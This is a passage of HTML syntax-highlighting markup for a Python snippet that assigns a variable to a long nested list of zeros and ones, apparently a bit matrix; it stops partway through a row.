&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span 